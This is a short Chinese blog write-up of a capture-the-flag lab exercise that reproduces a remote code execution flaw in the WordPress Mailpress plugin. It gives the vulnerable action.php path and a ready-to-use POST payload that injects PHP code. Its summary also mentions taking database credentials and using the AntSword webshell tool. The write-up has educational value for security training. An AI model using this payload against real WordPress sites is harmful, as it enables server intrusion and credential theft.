2022信安冬令营day1——WordPress-Mailpress远程代码执行漏洞

最新推荐文章于 2024-03-19 09:31:22 发布

柒七-l

最新推荐文章于 2024-03-19 09:31:22 发布

阅读量2.5k

点赞数 1

文章标签：安全 web安全 linux

本文链接：https://blog.csdn.net/m0_54628962/article/details/122911765

版权

本文详细介绍了如何复现WordPress中Mailpress插件的远程代码执行漏洞。通过wpscan扫描发现漏洞，使用Hackbar插件在火狐浏览器中构造POST请求，逐步执行恶意代码，获取服务器敏感信息，包括数据库用户名和密码，并利用蚁剑进行进一步操作，最终找到并展示了所有flag。

摘要由CSDN通过智能技术生成

wordpress

在这里插入图片描述
由IP地址进入网页

利用wpscan软件扫描该IP地址发现漏洞为Mailpress插件远程代码执行漏洞

利用火狐中hackbar插件

F12进入 web控制台，把URL写入hackbar中，选中Post data键，传入post值，运行
URL：
http://IP地址：端口/wp-content/plugins/mailpress/mp-includes/action.php
POST：action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php phpinfo();?>&html=&plaintext=&mail_format=standard&autosave=1

关注